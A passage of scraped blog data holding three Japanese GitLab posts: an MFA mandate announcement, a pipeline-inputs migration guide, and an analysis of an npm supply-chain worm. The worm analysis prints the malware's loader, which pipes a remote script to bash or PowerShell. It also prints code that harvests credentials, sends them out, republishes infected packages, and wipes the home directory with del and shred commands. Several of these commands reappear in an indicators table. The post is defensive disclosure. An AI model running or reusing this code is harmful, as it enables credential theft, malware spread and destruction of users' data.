Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[673],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[9,678],"product",{"featured":12,"template":13,"slug":680},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"content":682,"config":694},{"heroImage":683,"body":684,"authors":685,"updatedDate":688,"date":689,"title":690,"tags":691,"description":693,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。",[686,687],"Michael Henriksen","Daniel Abeles","2025-12-01","2025-11-24","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[9,692],"security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。",{"featured":28,"template":13,"slug":695},"gitlab-discovers-widespread-npm-supply-chain-attack",{"content":697,"config":708},{"heroImage":698,"body":699,"authors":700,"updatedDate":702,"date":703,"title":704,"tags":705,"description":707,"category":9},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1759320418/xjmqcozxzt4frx0hori3.png","[パイプライン変数](https://docs.gitlab.com/ci/variables/#use-pipeline-variables)は、GitLab\nCI/CDパイプラインを実行時にカスタマイズする便利な方法として長く活用されてきました。しかし、CI/CDセキュリティのベストプラクティスが進化するにつれ、パイプラインのカスタマイズに関してより強力な制御が必要であることが明らかになりました。制限のないパイプライン変数では、パイプライントリガー権限を持つユーザーが、検証や型のチェックなしに値を上書きできてしまいます。\n\n\n\nセキュリティ上の考慮事項に加えて、パイプライン変数には適切なドキュメントと明示的な宣言が欠けているため、どのような入力が想定され、パイプライン全体でどのように使用されるかを理解することが困難です。これにより、メンテナンスの課題が生じ、[CI/CD](https://about.gitlab.com/ja-jp/topics/ci-cd/)プロセスに対する適切なガバナンスの確立が難しくなります。\n\n\n\n## パイプライン入力の導入\n\n\n\nパイプライン変数に依存する代わりに、GitLabの[パイプライン入力](https://docs.gitlab.com/ci/inputs/#for-a-pipeline)機能の使用を強く推奨します。パイプライン入力には次の利点があります：\n\n\n\n* **明示的な宣言**: 入力は`.gitlab-ci.yml`で明示的に宣言する必要があり、自己文書化されます。\n\n\n* **型安全性**: 異なる入力型(文字列、ブール値、数値、配列)をサポートします。\n\n\n* **組み込みの検証**: 入力値の自動検証が行われます。\n\n\n* **セキュリティの向上**: 変数インジェクション攻撃のリスクがなく、宣言された入力のみが外部から渡されます。\n\n\n\n### 基本的な例\n\n\n\n```yaml\n\nspec:\n  inputs:\n    deployment_env:\n      description: \"ターゲットデプロイメント環境\"\n      type: string\n      options: [\"staging\", \"production\"]\n      default: \"staging\"\n    enable_tests:\n      description: \"テストスイートを実行\"\n      type: boolean\n      default: true\n\ntest:\n  script:\n    - echo \"テストを実行中\"\n  rules:\n    - if: $[[ inputs.enable_tests ]] == true\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deployment_env ]]へデプロイ中\"\n```\n\n\n\nCI/CD入力が検証付きで型安全なパラメータ渡しを実現する方法については、この[チュートリアル](https://about.gitlab.com/blog/ci-cd-inputs-secure-and-preferred-method-to-pass-parameters-to-a-pipeline/)をご覧ください。\n\n\n\n## パイプライン変数の制限\n\n\n\nパイプライン入力への移行を効果的に進め、パイプライン変数からの移行を促進するには、[「パイプライン変数が使用できる最小ロール」](https://docs.gitlab.com/ci/variables/#restrict-pipeline-variables)設定を構成する必要があります。この設定により、パイプラインをトリガーする際にどのロールがパイプライン変数を使用できるかを細かく制御できます。\n\n\n\n**プロジェクトレベル:** プロジェクトの **[設定] > [CI/CD] > [変数] > [パイプライン変数が使用できる最小ロール]** の順に移動して、設定を構成します。\n\n\n\n利用可能なオプション:\n\n\n\n* **誰にも許可しない**(`no_one_allowed`) - 推奨される最も安全なオプションです。すべての変数の上書きを防ぎます。\n\n\n* **デベロッパー**(`developer`) - デベロッパー以上のロールが変数を上書きできます。\n\n\n* **メンテナー**(`maintainer`) - メンテナーロール以上が必要です。\n\n\n* **オーナー**(`owner`) - プロジェクトオーナーのみが変数を上書きできます。\n\n\n\n**グループレベル:** グループメンテナーは、**[設定] > [CI/CD] > [変数] > [パイプライン変数を使えるデフォルトロール]**の順に移動して、グループ内のすべての新規プロジェクトに適用される安全なデフォルト値を設定できます。これにより組織全体で一貫したセキュリティポリシーを確保できます。ここでも、デフォルト値として**誰にも許可しない**を使用することを推奨します。これにより、このグループ内の新規プロジェクトは安全なデフォルト設定で作成されます。なお、プロジェクトオーナーは引き続きこの設定を変更できます。\n\n\n\nパイプライン変数が完全に制限されている場合(「誰にも許可しない」の場合)、[事前入力された変数](https://docs.gitlab.com/ci/pipelines/#prefill-variables-in-manual-pipelines)は「新しいパイプラインUI」フォームに表示されません。\n\n\n\n## パイプライン変数から移行する方法\n\n\n\n### ギャップを埋める\n\n\n\n組織内には、パイプラインをトリガーする際に一度も使用したことがないにもかかわらず、パイプライン変数がデフォルトで有効になっているプロジェクトが存在する可能性があります。これらのプロジェクトは、中断のリスクなしにより安全な設定に移行できます。GitLabは、グループ設定を通じて[移行機能を提供](https://docs.gitlab.com/ci/variables/#enable-pipeline-variable-restriction-for-multiple-projects)しています：\n\n\n\n* **[設定] > [CI/CD] > [変数]** の順に移動します。\n\n\n* **パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にする**で、**マイグレーションの開始**を選択します。\n\n\n\nこの移行は、過去に使用したことがないすべてのプロジェクトのプロジェクト設定を通じて、パイプライン変数を安全に無効にするバックグラウンドジョブです。\n\n\n\n### パイプライン変数を入力に変換\n\n\n\n特定されたパイプライン変数ごとに、対応するパイプライン入力を作成します。\n\n\n\n**変更前(パイプライン変数を使用)**\n\n\n\n```text\n\nvariables:\n  DEPLOY_ENV:\n    description: \"デプロイメント環境\"\n    value: \"staging\"\n  ENABLE_CACHE:\n    description: \"デプロイメントキャッシュを有効化\"\n    value: \"true\"\n  VERSION:\n    description: \"アプリケーションバージョン\"\n    value: \"1.0.0\"\n\ndeploy:\n  script:\n    - echo \"$DEPLOY_ENVへバージョン$VERSIONをデプロイ中\"\n    - |\n      if [ \"$ENABLE_CACHE\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n**変更後(パイプライン入力を使用)**\n\n\n\n```text\n\nspec:\n  inputs:\n    deploy_env:\n      description: \"デプロイメント環境\"\n      type: string\n      default: \"staging\"\n      options: [\"dev\", \"staging\", \"production\"]\n\n    enable_cache:\n      description: \"デプロイメントキャッシュを有効化\"\n      type: boolean\n      default: true\n    \n    version:\n      description: \"アプリケーションバージョン\"\n      type: string\n      default: \"1.0.0\"\n      regex: '^[0-9]+\\.[0-9]+\\.[0-9]+$'\n\ndeploy:\n  script:\n    - echo \"$[[ inputs.deploy_env ]]へバージョン$[[ inputs.version ]]をデプロイ中\"\n    - |\n      if [ \"$[[ inputs.enable_cache ]]\" = \"true\" ]; then\n        echo \"キャッシュが有効です\"\n      fi\n```\n\n\n\n### トリガージョブの移行\n\n\n\n`trigger`キーワードでトリガージョブを使用している場合は、ジョブレベルの`variables`を定義していないこと、またはトップレベルの`variables`、`extends`、`include`からの変数の継承を無効にしていないことを確認してください。変数が暗黙的にダウンストリームにパイプライン変数として渡される可能性があるためです。ダウンストリームプロジェクトでパイプライン変数が制限されている場合、パイプラインの作成は失敗します。\n\n\n\nパイプライン変数の代わりに、パイプライン入力を使用するようにCI構成を更新することを検討してください。\n\n\n\n```yaml\n\nvariables:\n  FOO: bar\n\ndeploy-staging:\n  inherit:\n    variables: false # そうしないとFOOがダウンストリームにパイプライン変数として送信されます\n  trigger:\n    project: myorg/deployer\n    inputs:\n      deployment_env: staging\n      enable_tests: true\n```\n\n\n\n## まとめ\n\n\n\nパイプライン変数からパイプライン入力への移行は、変数インジェクションからCI/CDインフラを保護するセキュリティ強化であり、同時により優れたドキュメント、型安全性、検証を提供します。これらの制限を実装し、パイプライン入力を採用することで、セキュリティを向上させるだけでなく、パイプラインをよりメンテナンスしやすく、自己文書化され、耐障害性の高いものにすることができます。\n\n\n\n移行には初期の労力が必要ですが、長期的なメリットは移行コストをはるかに上回ります。まず、新規プロジェクトのグループレベルでパイプライン変数を制限ることから始め、次に上記の段階的なアプローチを使用して既存のパイプラインを体系的に移行してください。\n\n\n\nセキュリティの強化は、終わりのない継続的なプロセスです。パイプライン入力は、保護されたブランチ、ジョブトークン許可リスト、コンテナレジストリ保護など、他のGitLabセキュリティ機能を補完し、より安全なCI/CD環境を構築するための重要なステップです。\n\n\n\n> パイプライン入力を始めるには、[GitLab Ultimateの無料トライアルに今すぐ登録](https://about.gitlab.com/ja-jp/free-trial/devsecops/)してください。\n",[701],"Fabio Pitino","2025-11-12","2025-11-04","パイプライン変数からパイプライン入力への移行でセキュリティを強化",[9,706,23,106],"DevSecOps","このガイドでは、明示的な宣言、型安全性、検証の実装など、パイプラインのカスタマイズに関するより強力な制御について説明します。",{"featured":28,"template":13,"slug":709},"migrate-from-pipeline-variables-to-pipeline-inputs-for-better-security",{"promotions":711},[712,726,738],{"id":713,"categories":714,"header":716,"text":717,"button":718,"image":723},"ai-modernization",[715],"ai-ml","Is AI achieving its promise at scale?","Quiz will take 5 minutes or less",{"text":719,"config":720},"Get your AI maturity score",{"href":721,"dataGaName":722,"dataGaLocation":242},"/assessments/ai-modernization-assessment/","modernization assessment",{"config":724},{"src":725},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":727,"categories":728,"header":730,"text":717,"button":731,"image":735},"devops-modernization",[678,729],"devsecops","Are you just managing tools or shipping innovation?",{"text":732,"config":733},"Get your DevOps maturity score",{"href":734,"dataGaName":722,"dataGaLocation":242},"/assessments/devops-modernization-assessment/",{"config":736},{"src":737},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":739,"categories":740,"header":741,"text":717,"button":742,"image":746},"security-modernization",[9],"Are you trading speed for security?",{"text":743,"config":744},"Get your security maturity score",{"href":745,"dataGaName":722,"dataGaLocation":242},"/assessments/security-modernization-assessment/",{"config":747},{"src":748},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"header":750,"blurb":751,"button":752,"secondaryButton":756},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":45,"config":753},{"href":754,"dataGaName":48,"dataGaLocation":755},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/","feature",{"text":50,"config":757},{"href":52,"dataGaName":53,"dataGaLocation":755},1772652104516]